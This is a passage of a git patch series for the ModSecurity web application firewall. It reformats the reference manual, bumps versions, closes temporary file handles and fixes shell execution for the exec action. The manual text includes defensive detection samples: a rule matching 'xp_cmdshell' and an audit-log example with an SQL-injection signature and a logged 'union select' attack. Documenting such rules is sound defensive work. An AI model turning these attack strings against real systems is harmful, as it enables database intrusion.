SecResponseBodyLimit 524288 Description: Controls what happens once a response body limit, configured with SecResponseBodyLimit, is encountered. By default - ModSecurity will reject a response - body that is longer than specified. Some web sites, however, will - produce very long responses making it difficult to come up with a - reasonable limit. Such sites would have to raise the limit significantly - to function properly defying the purpose of having the limit in the - first place (to control memory consumption). With the ability to choose - what happens once a limit is reached site administrators can choose to - inspect only the first part of the response, the part that can fit into - the desired limit, and let the rest through. Some could argue that - allowing parts of responses to go uninspected is a weakness. This is - true in theory but only applies to cases where the attacker controls the - output (e.g. can make it arbitrary long). In such cases, however, it is - not possible to prevent leakage anyway. The attacker could compress, - obfuscate, or even encrypt data before it is sent back, and therefore - bypass any monitoring device. + ModSecurity will reject a response body that is longer than specified. + Some web sites, however, will produce very long responses making it + difficult to come up with a reasonable limit. Such sites would have to + raise the limit significantly to function properly defying the purpose + of having the limit in the first place (to control memory consumption). + With the ability to choose what happens once a limit is reached site + administrators can choose to inspect only the first part of the + response, the part that can fit into the desired limit, and let the rest + through. Some could argue that allowing parts of responses to go + uninspected is a weakness. This is true in theory but only applies to + cases where the attacker controls the output (e.g. can make it arbitrary + long). In such cases, however, it is not possible to prevent leakage + anyway. The attacker could compress, obfuscate, or even encrypt data + before it is sent back, and therefore bypass any monitoring + device. Syntax: SecResponseBodyLimitAction Reject|ProcessPartial @@ -1747,9 +1712,8 @@ SecResponseBodyLimit 524288 <literal>SecRule</literal> Description: SecRule is the main ModSecurity directive. It is used to analyse - data and perform actions based on the results. + moreinfo="none">SecRule is the main ModSecurity directive. It + is used to analyse data and perform actions based on the results. Syntax: SecRule VARIABLES OPERATOR [ACTIONS] @@ -1808,8 +1772,7 @@ SecResponseBodyLimit 524288 In the simplest possible case you will use a regular expression pattern as the second rule parameter. This is what we've done in the - examples above. If you do this ModSecurity assumes you want to use the + examples above. If you do this ModSecurity assumes you want to use the rx operator. You can explicitly specify the operator you want to use by using @ as the first character in the second rule @@ -1872,12 +1835,11 @@ SecResponseBodyLimit 524288 processing process, before Apache maps request to resource. Virtual host context can override phase 1 rules configured in the main server. - Example: The following example shows where ModSecurity may be enabled in the main Apache - configuration scope, however you might want to configure your - VirtualHosts differently. In the first example, the first VirtualHost is - not inheriting the ModSecurity main - config directives and in the second one it is. + Example: The following example shows where ModSecurity may be + enabled in the main Apache configuration scope, however you might want + to configure your VirtualHosts differently. In the first example, the + first VirtualHost is not inheriting the ModSecurity main config + directives and in the second one it is. SecRuleEnine On SecDefaultAction log,pass,phase:2 @@ -2012,10 +1974,9 @@ ServerAlias www.app2.com rule that executes a Lua script to decide whether to match or not. The main difference from SecRule is that there are no targets nor operators. The script can fetch any variable from the - ModSecurity context and use any - (Lua) operator to test them. The second optional parameter is the list - of actions whose meaning is identical to that of - SecRule. + ModSecurity context and use any (Lua) operator to test them. The second + optional parameter is the list of actions whose meaning is identical to + that of SecRule. Syntax: SecRuleScript /path/to/script.lua [ACTIONS] @@ -2034,9 +1995,8 @@ ServerAlias www.app2.com All Lua scripts are compiled at configuration time and cached in - memory. To reload scripts you must reload the entire ModSecurity configuration by restarting - Apache. + memory. To reload scripts you must reload the entire ModSecurity + configuration by restarting Apache. Example script: @@ -2152,9 +2112,8 @@ SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new m
<literal>SecServerSignature</literal> - Description: Instructs ModSecurity to change the data presented in - the "Server:" response header token. + Description: Instructs ModSecurity to change + the data presented in the "Server:" response header token. Syntax: SecServerSignature "WEB SERVER @@ -2172,11 +2131,10 @@ SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new m Dependencies/Notes: In order for this directive to work, you must set the Apache ServerTokens directive to - Full. ModSecurity will overwrite - the server signature data held in this memory space with the data set in - this directive. If ServerTokens is not set to Full, then the memory - space is most likely not large enough to hold the new data we are - looking to insert. + Full. ModSecurity will overwrite the server signature data held in this + memory space with the data set in this directive. If ServerTokens is not + set to Full, then the memory space is most likely not large enough to + hold the new data we are looking to insert.
@@ -2343,20 +2301,18 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} In the two examples configurations shown, SecWebAppId is being used in conjunction with the Apache VirtualHost directives. What this achieves is to create more unique collection names when being hosted on - one server. Normally, when setsid is used, ModSecurity will create a collection with the - name "SESSION" and it will hold the value specified. With using - SecWebAppId as shown in the examples, however, the name of the - collection would become "App1_SESSION" and "App2_SESSION". + one server. Normally, when setsid is used, ModSecurity will create a + collection with the name "SESSION" and it will hold the value specified. + With using SecWebAppId as shown in the examples, however, the name of + the collection would become "App1_SESSION" and "App2_SESSION". SecWebAppId is relevant in two cases: - You are logging transactions/alerts to the ModSecurity Console and you want to use - the web application ID to search only the transactions belonging to - that application. + You are logging transactions/alerts to the ModSecurity Console + and you want to use the web application ID to search only the + transactions belonging to that application. @@ -2371,8 +2327,8 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
Processing Phases - ModSecurity 2.x allows rules to - be placed in one of the following five phases: + ModSecurity 2.x allows rules to be placed in one of the following + five phases: @@ -2397,8 +2353,7 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} Below is a diagram of the standard Apache Request Cycle. In the - diagram, the 5 ModSecurity processing - phases are shown. + diagram, the 5 ModSecurity processing phases are shown. @@ -2445,11 +2400,9 @@ SecRule REQUEST_HEADERS:Host "!^$" "deny,phase:1"Rules in this phase can not leverage Apache scope directives (Directory, Location, LocationMatch, etc...) as the post-read-request hook does not have this information yet. The exception here is the - VirtualHost directive. If you want to use ModSecurity rules inside Apache locations, - then they should run in Phase 2. Refer to the Apache Request - Cycle/ModSecurity Processing Phases - diagram. + VirtualHost directive. If you want to use ModSecurity rules inside + Apache locations, then they should run in Phase 2. Refer to the Apache + Request Cycle/ModSecurity Processing Phases diagram.
@@ -2458,8 +2411,8 @@ SecRule REQUEST_HEADERS:Host "!^$" "deny,phase:1"This is the general-purpose input analysis phase. Most of the application-oriented rules should go here. In this phase you are guaranteed to have received the request arguments (provided the request - body has been read). ModSecurity - supports three encoding types for the request body phase: + body has been read). ModSecurity supports three encoding types for the + request body phase: @@ -2515,16 +2468,14 @@ SecRule REQUEST_HEADERS:Host "!^$" "deny,phase:1"ModSecurity - 2.5.0 and later versions. + configuration error in ModSecurity 2.5.0 and later versions.
Variables - The following variables are supported in ModSecurity 2.x: + The following variables are supported in ModSecurity 2.x:
<literal moreinfo="none">ARGS</literal> @@ -2565,9 +2516,8 @@ SecRule REQUEST_HEADERS:Host "!^$" "deny,phase:1"Using ARGS:p will not result in any invocations against the operator if argument p does not exist. - In ModSecurity 1.X, the - ARGS variable stood for - QUERY_STRING + POST_PAYLOAD, + In ModSecurity 1.X, the ARGS variable stood + for QUERY_STRING + POST_PAYLOAD, whereas now it expands to individual variables.
@@ -2822,8 +2772,7 @@ SecRule TX:MYMATCH "@eq ARGS:param" deny
<literal moreinfo="none">MODSEC_BUILD</literal> - This variable holds the ModSecurity build number. This variable is + This variable holds the ModSecurity build number. This variable is intended to be used to check the build number prior to using a feature that is available only in a certain build. Example: @@ -2886,25 +2835,23 @@ LF %{MULTIPART_LF_LINE}, \ SM %{MULTIPART_SEMICOLON_MISSING}'" The multipart/form-data parser was upgraded in - ModSecurity v2.1.3 to actively look - for signs of evasion. Many variables (as listed above) were added to - expose various facts discovered during the parsing process. The - MULTIPART_STRICT_ERROR variable is handy to check on - all abnormalities at once. The individual variables allow detection to - be fine-tuned according to your circumstances in order to reduce the - number of false positives. Detailed analysis of various evasion - techniques covered will be released as a separated document at a later - date. + ModSecurity v2.1.3 to actively look for signs of evasion. Many variables + (as listed above) were added to expose various facts discovered during + the parsing process. The MULTIPART_STRICT_ERROR + variable is handy to check on all abnormalities at once. The individual + variables allow detection to be fine-tuned according to your + circumstances in order to reduce the number of false positives. Detailed + analysis of various evasion techniques covered will be released as a + separated document at a later date.
<literal>MULTIPART_UNMATCHED_BOUNDARY</literal> Set to 1 when, during the parsing phase of a - multipart/request-body, ModSecurity encounters what feels like a - boundary but it is not. Such an event may occur when evasion of - ModSecurity is attempted. + multipart/request-body, ModSecurity encounters what + feels like a boundary but it is not. Such an event may occur when + evasion of ModSecurity is attempted. The best way to use this variable is as in the example below: @@ -3014,11 +2961,11 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd" REQBODY_PROCESSOR_ERROR at the beginning of phase 2. Failure to do so will leave the door open for impedance mismatch attacks. It is possible, for example, that a payload that cannot be parsed by - ModSecurity can be successfully - parsed by more tolerant parser operating in the application. If your - policy dictates blocking then you should reject the request if error - is detected. When operating in detection-only mode your rule should - alert with high severity when request body processing fails. + ModSecurity can be successfully parsed by more tolerant parser + operating in the application. If your policy dictates blocking then + you should reject the request if error is detected. When operating in + detection-only mode your rule should alert with high severity when + request body processing fails.
@@ -3216,8 +3163,7 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd" embedded-mode. Headers such as Server, Date, Connection and Content-Type are added during a later Apache hook just prior to sending the data to the client. This data should be available, however, either during - ModSecurity phase:5 (logging) or - when running in proxy-mode. + ModSecurity phase:5 (logging) or when running in proxy-mode.
@@ -3661,22 +3607,19 @@ SecRule XML:/xq:employees/employee/name/text() Fred \
Transformation functions - When ModSecurity receives - request or response information, it makes a copy of this data and places - it into memory. It is on this data in memory that transformation functions - are applied. The raw request/response data is never altered. - Transformation functions are used to transform a variable before testing - it in a rule. + When ModSecurity receives request or response information, it makes + a copy of this data and places it into memory. It is on this data in + memory that transformation functions are applied. The raw request/response + data is never altered. Transformation functions are used to transform a + variable before testing it in a rule. Note There are no default transformation functions as there were in - previous versions of ModSecurity. + previous versions of ModSecurity. The following rule will ensure that an attacker does not use mixed - case in order to evade the ModSecurity rule: + case in order to evade the ModSecurity rule: SecRule ARG:p "xp_cmdshell" "t:lowercase" multiple transformation actions can be used in the same rule, for example @@ -3820,9 +3763,8 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ <literal><literal>none</literal></literal> This not an actual transformation function but an instruction to - ModSecurity to remove all - transformation functions associated with the current rule and start from - scratch. + ModSecurity to remove all transformation functions associated with the + current rule and start from scratch.
@@ -3938,8 +3880,8 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ Disruptive actions - are those actions - where ModSecurity will intercept - the data. They can only appear in the first rule in a chain. + where ModSecurity will intercept the data. They can only appear in the + first rule in a chain. @@ -3979,12 +3921,12 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ SecRule REMOTE_ADDR "^192\.168\.1\.100$" nolog,phase:1,allow - Prior to ModSecurity 2.5 the - allow action would only affect the current phase. An - allow in phase 1 would skip processing the remaining - rules in phase 1 but the rules from phase 2 would execute. Starting with - v2.5.0 allow was enhanced to allow for fine-grained - control of what is done. The following rules now apply: + Prior to ModSecurity 2.5 the allow action would + only affect the current phase. An allow in phase 1 + would skip processing the remaining rules in phase 1 but the rules from + phase 2 would execute. Starting with v2.5.0 allow was + enhanced to allow for fine-grained control of what is done. The + following rules now apply: @@ -4080,8 +4022,7 @@ SecAction phase:3,allow reverted back to the previous SecDefaultAction disruptive action. - In future versions of ModSecurity, more control and functionality + In future versions of ModSecurity, more control and functionality will be added to define "how" to block. Examples: @@ -4235,18 +4176,16 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce one configuration directive and the usage is identical. The requestBodyProcessor option allows you to configure the - request body processor. By default ModSecurity will use the URLENCODED and MULTIPART processors to process an application/x-www-form-urlencoded and a multipart/form-data body, respectively. A third processor, XML, is also supported, but it is never - used implicitly. Instead you must tell ModSecurity to use it by placing a few rules - in the REQUEST_HEADERS processing - phase. After the request body was processed as XML you will be able to - use the XML-related features to inspect it. + used implicitly. Instead you must tell ModSecurity to use it by placing + a few rules in the REQUEST_HEADERS + processing phase. After the request body was processed as XML you will + be able to use the XML-related features to inspect it. Request body processors will not interrupt a transaction if an error occurs during parsing. Instead they will set variablesexec:/usr/local/apache/conf/exec.luaModSecurity - will assume execution didn't work. + stdout. If it doesn't ModSecurity will assume execution didn't + work.
@@ -4527,13 +4466,12 @@ SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ - Please note that ModSecurity does not implement atomic - updates of persistent variables at this time. Variables are read from - storage whenever initcol is encountered in the - rules and persisted at the end of request processing. On busy servers - requests often run in parallel, leading to situations where one - request overwrites the changes made by another request. We anticipate + Please note that ModSecurity does not implement atomic updates + of persistent variables at this time. Variables are read from storage + whenever initcol is encountered in the rules and + persisted at the end of request processing. On busy servers requests + often run in parallel, leading to situations where one request + overwrites the changes made by another request. We anticipate implementing atomic updates of counter values in a future version. @@ -4554,7 +4492,7 @@ SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ Note This action will log matches to the Apache error log file and the - ModSecurity audit log. + ModSecurity audit log.
@@ -4600,10 +4538,9 @@ SecRule REQUEST_URI "^/cgi-bin/script\.pl" \
<literal>multiMatch</literal> - Description: If enabled ModSecurity will perform multiple operator - invocations for every target, before and after every anti-evasion - transformation is performed. + Description: If enabled ModSecurity will + perform multiple operator invocations for every target, before and after + every anti-evasion transformation is performed. Action Group: Non-Disruptive @@ -4669,14 +4606,26 @@ SecRule ARGS "attack" multiMatch Action Group: Disruptive - Example: + Example1: SecRule REQUEST_HEADERS:User-Agent "Test" log,pass + When using pass with SecRule with multiple + targets, all targets will be processed and + all non-disruptive actions will trigger for + every match found. In the second example the + TX:test target would be incremented by 1 for each matching + argument. + + Example2: + + SecRule ARGS "test" log,pass,setvar:TX.test=+1 + Note - Transaction will not be interrupted but it will be logged (unless - logging has been suppressed). + The transaction will not be interrupted but a log will be + generated for each matching target (unless logging has been + suppressed).
@@ -4892,8 +4841,7 @@ SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403 Note - Severity values in ModSecurity follow those of syslog, as + Severity values in ModSecurity follow those of syslog, as below: @@ -5284,7 +5232,7 @@ SecRule ARGS:route "!@endsWith %{REQUEST_ADDR}" t:none,deny configuration file resides. Also as of v2.5.0, if the filename is determined to be a Lua script (based on its extension) the script will be processed by the internal engine. As such it will have full access to - the ModSecurity context. + the ModSecurity context. Example of using an external binary/script: @@ -5413,9 +5361,8 @@ end Note Regular expressions are handled by the PCRE library (http://www.pcre.org). ModSecurity compiles its regular expressions - with the following settings: + url="http://www.pcre.org">http://www.pcre.org). ModSecurity + compiles its regular expressions with the following settings: @@ -5478,10 +5425,9 @@ SecRule REQUEST_HEADERS:Ip-Address "!@streq %{TX.1}" - validateByteRange is similar to the ModSecurity 1.X SecFilterForceByteRange - Directive however since it works in a rule context, it has the following - differences: + validateByteRange is similar to the ModSecurity 1.X + SecFilterForceByteRange Directive however since it works in a rule + context, it has the following differences: @@ -5573,8 +5519,8 @@ SecRule XML "@validateSchema /path/to/apache2/conf/xml.xsd, Not enough bytes. UTF-8 supports two, three, four, five, and - six byte encodings. ModSecurity - will locate cases when a byte or more is missing. + six byte encodings. ModSecurity will locate cases when a byte or + more is missing. @@ -5631,14 +5577,13 @@ SecRule REQUEST_METHOD "!@within %{tx.allowed_methods}" t:l
Data Formats - This section documents the various data formats used by ModSecurity. + This section documents the various data formats used by + ModSecurity.
Alerts - Below is an example of a ModSecurity alert entry. It is always + Below is an example of a ModSecurity alert entry. It is always contained on a single line but we've broken it here into multiple lines for readability. @@ -5653,10 +5598,10 @@ is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id against "REQUEST_PROTOCOL" required. The engine message consists of two parts. The first part tells you - whether ModSecurity acted to - interrupt transaction or rule processing. If it did nothing the first - part of the message will simply say "Warning". If an action was taken - then one of the following messages will be used: + whether ModSecurity acted to interrupt transaction or rule processing. + If it did nothing the first part of the message will simply say + "Warning". If an action was taken then one of the following messages + will be used: @@ -5900,19 +5845,16 @@ against "REQUEST_PROTOCOL" required.
Alerts in Apache - Every ModSecurity alert - conforms to the following format when it appears in the Apache error - log: + Every ModSecurity alert conforms to the following format when it + appears in the Apache error log: - [Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] ModSecurity: ALERT_MESSAGE + [Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] + ModSecurity: ALERT_MESSAGE - The above is a standard Apache error log format. The "ModSecurity:" prefix is specific to - ModSecurity. It is used to allow - quick identification of ModSecurity alert messages when they appear - in the same file next to other Apache messages. + The above is a standard Apache error log format. The " + ModSecurity:" prefix is specific to ModSecurity. It is used to allow + quick identification of ModSecurity alert messages when they appear in + the same file next to other Apache messages. The actual message (ALERT_MESSAGE in the example above) is in the same format as described in the @@ -5923,10 +5865,9 @@ against "REQUEST_PROTOCOL" required. Alerts in Audit Log Alerts are transported in the H section of - the ModSecurity Audit Log. Alerts - will appear each on a separate line and in the order they were - generated by ModSecurity. Each - line will be in the following format: + the ModSecurity Audit Log. Alerts will appear each on a separate line + and in the order they were generated by ModSecurity. Each line will be + in the following format: Message: ALERT_MESSAGE @@ -5941,7 +5882,7 @@ Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:le (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"] Stopwatch: 1199881676978327 2514 (396 2224 -) -Producer: ModSecurity v2.x.x (Apache 2.x) +Producer: ModSecurity v2.x.x (Apache 2.x) Server: Apache/2.x.x --c7036611-Z-- @@ -5951,8 +5892,8 @@ Server: Apache/2.x.x
Audit Log - ModSecurity records one - transaction in a single audit log file. Below is an example: + ModSecurity records one transaction in a single audit log file. + Below is an example: --c7036611-A-- [09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80 @@ -5982,7 +5923,7 @@ Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:le Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3] File does not exist: /var/www/EvilBoard_0.1a Stopwatch: 1199881676978327 2514 (396 2224 -) -Producer: ModSecurity v2.x.x (Apache 2.x) +Producer: ModSecurity v2.x.x (Apache 2.x) Server: Apache/2.x.x --c7036611-Z-- @@ -6047,17 +5988,15 @@ Server: Apache/2.x.x This problem is better known as Impedance Mismatch. It can be exploited to evade the security devices. - While we will continue to enhance ModSecurity to deal with various evasion - techniques the problem can only be minimized, but never solved. With so - many different application backend chances are some will always do - something completely unexpected. The only solution is to be aware of the - technologies in the backend when writing rules, adapting the rules to - remove the mismatch. See the next section for some examples. + While we will continue to enhance ModSecurity to deal with various + evasion techniques the problem can only be minimized, but never solved. + With so many different application backend chances are some will always + do something completely unexpected. The only solution is to be aware of + the technologies in the backend when writing rules, adapting the rules + to remove the mismatch. See the next section for some examples.
- PHP Peculiarities for <trademark - class="trade">ModSecurity</trademark> Users + PHP Peculiarities for ModSecurity Users When writing rules to protect PHP applications you need to pay attention to the following facts: @@ -6126,4 +6065,4 @@ Server: Apache/2.x.x
-
\ No newline at end of file + From b74b6591141fbef5350442f37b3c826f648d68e1 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 28 Mar 2008 17:33:19 +0000 Subject: [PATCH 002/110] Update version for trunk. --- apache2/modsecurity.h | 8 ++++---- doc/modsecurity2-apache-reference.xml | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index 0c25c933..6abe3601 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -61,10 +61,10 @@ typedef struct modsec_build_type_rec { extern DSOLOCAL modsec_build_type_rec modsec_build_type[]; #define MODSEC_VERSION_MAJOR "2" -#define MODSEC_VERSION_MINOR "5" -#define MODSEC_VERSION_MAINT "1" -#define MODSEC_VERSION_TYPE "-breach" -#define MODSEC_VERSION_RELEASE "1" +#define MODSEC_VERSION_MINOR "6" +#define MODSEC_VERSION_MAINT "0" +#define MODSEC_VERSION_TYPE "-trunk" +#define MODSEC_VERSION_RELEASE "" #define MODULE_NAME "ModSecurity for Apache" diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 8c4a8742..7b6cab37 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4,7 +4,7 @@ Manual - Version 2.5.1-breach1 (March 19, 2008) + Version 2.6.0-trunk (March 19, 2008) 2004-2008 From aa6be1614e4c15786e7cf10fed3b8a78825c6362 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 28 Mar 2008 20:00:37 +0000 Subject: [PATCH 003/110] Make sure all filehandles are closed at the end of a trasaction. See #464 and #465. Fixes a few typos in some error messages when we are over the limits. --- CHANGES | 6 ++++-- apache2/apache2_io.c | 4 ++-- apache2/msc_multipart.c | 18 ++++++++++++++++++ apache2/msc_reqbody.c | 6 ++++++ 4 files changed, 30 insertions(+), 4 deletions(-) diff --git a/CHANGES b/CHANGES index 30ebd1f8..aa367e04 100644 --- a/CHANGES +++ b/CHANGES @@ -1,8 +1,10 @@ -19 Mar 2008 - 2.5.1-breach1 ---------------------------- +28 Mar 2008 - trunk +------------------- * Allow HTTP_* targets as an alias for REQUEST_HEADERS:*. + * Make sure temporary filehandles are closed after a transaction. + 14 Mar 2008 - 2.5.1 ------------------- diff --git a/apache2/apache2_io.c b/apache2/apache2_io.c index 63827db1..cbfe3989 100644 --- a/apache2/apache2_io.c +++ b/apache2/apache2_io.c @@ -215,7 +215,7 @@ apr_status_t read_request_body(modsec_rec *msr, char **error_msg) { /* Check request body limit (should only trigger on chunked requests). */ if (msr->reqbody_length + buflen > (apr_size_t)msr->txcfg->reqbody_limit) { - *error_msg = apr_psprintf(msr->mp, "Requests body is larger than the " + *error_msg = apr_psprintf(msr->mp, "Request body is larger than the " "configured limit (%ld).", msr->txcfg->reqbody_limit); return -5; } @@ -224,7 +224,7 @@ apr_status_t read_request_body(modsec_rec *msr, char **error_msg) { int rcbs = modsecurity_request_body_store(msr, buf, buflen, error_msg); if (rcbs < 0) { if (rcbs == -5) { - *error_msg = apr_psprintf(msr->mp, "Requests body no files data length is larger than the " + *error_msg = apr_psprintf(msr->mp, "Request body no files data length is larger than the " "configured limit (%ld).", msr->txcfg->reqbody_no_files_limit); return -5; } diff --git a/apache2/msc_multipart.c b/apache2/msc_multipart.c index b8f5fe9b..d261bc5c 100644 --- a/apache2/msc_multipart.c +++ b/apache2/msc_multipart.c @@ -1100,6 +1100,12 @@ apr_status_t multipart_cleanup(modsec_rec *msr) { for(i = 0; i < msr->mpd->parts->nelts; i++) { if (parts[i]->type == MULTIPART_FILE) { if (parts[i]->tmp_file_name != NULL) { + /* make sure it is closed first */ + if (parts[i]->tmp_file_fd > 0) { + close(parts[i]->tmp_file_fd); + parts[i]->tmp_file_fd = -1; + } + if (unlink(parts[i]->tmp_file_name) < 0) { msr_log(msr, 1, "Multipart: Failed to delete file (part) \"%s\" because %d(%s)", log_escape(msr->mp, parts[i]->tmp_file_name), errno, strerror(errno)); @@ -1122,6 +1128,12 @@ apr_status_t multipart_cleanup(modsec_rec *msr) { if ((parts[i]->type == MULTIPART_FILE)&&(parts[i]->tmp_file_size == 0)) { /* Delete empty file. */ if (parts[i]->tmp_file_name != NULL) { + /* make sure it is closed first */ + if (parts[i]->tmp_file_fd > 0) { + close(parts[i]->tmp_file_fd); + parts[i]->tmp_file_fd = -1; + } + if (unlink(parts[i]->tmp_file_name) < 0) { msr_log(msr, 1, "Multipart: Failed to delete empty file (part) \"%s\" because %d(%s)", log_escape(msr->mp, parts[i]->tmp_file_name), errno, strerror(errno)); @@ -1138,6 +1150,12 @@ apr_status_t multipart_cleanup(modsec_rec *msr) { const char *new_filename = NULL; const char *new_basename = NULL; + /* make sure it is closed first */ + if (parts[i]->tmp_file_fd > 0) { + close(parts[i]->tmp_file_fd); + parts[i]->tmp_file_fd = -1; + } + new_basename = file_basename(msr->mp, parts[i]->tmp_file_name); if (new_basename == NULL) return -1; new_filename = apr_psprintf(msr->mp, "%s/%s", msr->txcfg->upload_dir, diff --git a/apache2/msc_reqbody.c b/apache2/msc_reqbody.c index 90c7f37b..f907237b 100644 --- a/apache2/msc_reqbody.c +++ b/apache2/msc_reqbody.c @@ -685,6 +685,12 @@ apr_status_t modsecurity_request_body_clear(modsec_rec *msr, char **error_msg) { log_escape(msr->msc_reqbody_mp, put_filename)); } } else { + /* make sure it is closed first */ + if (msr->msc_reqbody_fd > 0) { + close(msr->msc_reqbody_fd); + msr->msc_reqbody_fd = -1; + } + /* We do not want to keep the request body. */ if (apr_file_remove(msr->msc_reqbody_filename, msr->msc_reqbody_mp) != APR_SUCCESS) From 955163389fb98e808f3643de8bf484ca8c3bde8e Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 2 Apr 2008 16:09:09 +0000 Subject: [PATCH 004/110] Add docs for macro expansion. See #462. --- doc/modsecurity2-apache-reference.xml | 29 +++++++++++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 7b6cab37..36b5ef84 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4,7 +4,7 @@ Manual - Version 2.6.0-trunk (March 19, 2008) + Version 2.6.0-trunk (April 02, 2008) 2004-2008 @@ -5574,6 +5574,31 @@ SecRule REQUEST_METHOD "!@within %{tx.allowed_methods}" t:l +
+ Macro Expansion + + Macros allow for using place holders in rules that will be expanded + out to their values at runtime. Currently only variable expansion is + supported, however more options may be added in future versions of + ModSecurity. + + Format: + + %{VARIABLE} +%{COLLECTION.VARIABLE} + + Macro expansion can be used in actions such as initcol, setsid, + setuid, setvar, setenv, logdata. Operators that are evaluated at runtime + support expansion and are noted above. Such operators include @beginsWith, + @endsWith, @contains, @within and @streq. You cannot use macro expansion + for operators that are "compiled" such as @pm, @rx, etc. as these + operators have their values fixed at configure time for efficiency. + + Some values you may want to expand include: TX, REMOTE_ADDR, USERID, + HIGHEST_SEVERITY, MATCHED_VAR, MATCHED_VAR_NAME, MULTIPART_STRICT_ERROR, + RULE, SESSION, USERID, among others. +
+
Data Formats @@ -6065,4 +6090,4 @@ Server: Apache/2.x.x
- + \ No newline at end of file From c50e5b0b38f41ff28dc03a2e876afeb2f81b7670 Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 2 Apr 2008 16:10:47 +0000 Subject: [PATCH 005/110] Update versions for release. --- CHANGES | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGES b/CHANGES index aa367e04..a9ebd482 100644 --- a/CHANGES +++ b/CHANGES @@ -1,4 +1,4 @@ -28 Mar 2008 - trunk +02 Apr 2008 - trunk ------------------- * Allow HTTP_* targets as an alias for REQUEST_HEADERS:*. From 563a8e0f0cd1724eb113be3834bf6b8370dacf0b Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 11 Apr 2008 20:05:44 +0000 Subject: [PATCH 006/110] Fixed issue where the exec action may not be able to execute shell scripts. See #475. --- CHANGES | 4 +++- apache2/apache2_util.c | 5 ++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGES b/CHANGES index a9ebd482..a5693b5a 100644 --- a/CHANGES +++ b/CHANGES @@ -1,10 +1,12 @@ -02 Apr 2008 - trunk +11 Apr 2008 - trunk ------------------- * Allow HTTP_* targets as an alias for REQUEST_HEADERS:*. * Make sure temporary filehandles are closed after a transaction. + * Fixed issue where the exec action may not be able to execute shell scripts. + 14 Mar 2008 - 2.5.1 ------------------- diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index 543b918e..ca5f532d 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -103,7 +103,9 @@ int apache2_exec(modsec_rec *msr, const char *command, const char **argv, char * } apr_procattr_io_set(procattr, APR_NO_PIPE, APR_FULL_BLOCK, APR_NO_PIPE); + apr_procattr_cmdtype_set(procattr, APR_SHELLCMD); + msr_log(msr, 9, "Exec: %s", log_escape_nq(r->pool, command)); rc = apr_proc_create(procnew, command, argv, env, procattr, r->pool); if (rc != APR_SUCCESS) { msr_log(msr, 1, "Exec: Execution failed: %s (%s)", log_escape_nq(r->pool, command), @@ -147,7 +149,8 @@ int apache2_exec(modsec_rec *msr, const char *command, const char **argv, char * nbytes = 255; while(apr_file_read(script_out, buf, &nbytes) == APR_SUCCESS) nbytes = 255; } else { - msr_log(msr, 1, "Exec: Execution failed: %s (%s)", log_escape_nq(r->pool, command), + msr_log(msr, 1, "Exec: Execution failed while reading output: %s (%s)", + log_escape_nq(r->pool, command), get_apr_error(r->pool, rc2)); return -1; } From fa3462f48f4aeb98fdb9c99301b5fcd4c3b3820c Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 11 Apr 2008 20:06:48 +0000 Subject: [PATCH 007/110] Add the MODSEC_2.5 define to 2.6 for compatibility. --- apache2/mod_security2.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index d9513766..ed9fbf41 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -1068,6 +1068,9 @@ static void register_hooks(apr_pool_t *mp) { NULL }; + /* Add the MODSEC_2.x compatibility defines */ + *(char **)apr_array_push(ap_server_config_defines) = apr_pstrdup(mp, "MODSEC_2.5"); + /* Add the MODSEC_a.b define */ *(char **)apr_array_push(ap_server_config_defines) = apr_psprintf(mp, "MODSEC_%s.%s", MODSEC_VERSION_MAJOR, MODSEC_VERSION_MINOR); From 070e0bb0c611a8278ddbecddc07d158c31e15c72 Mon Sep 17 00:00:00 2001 From: brectanus Date: 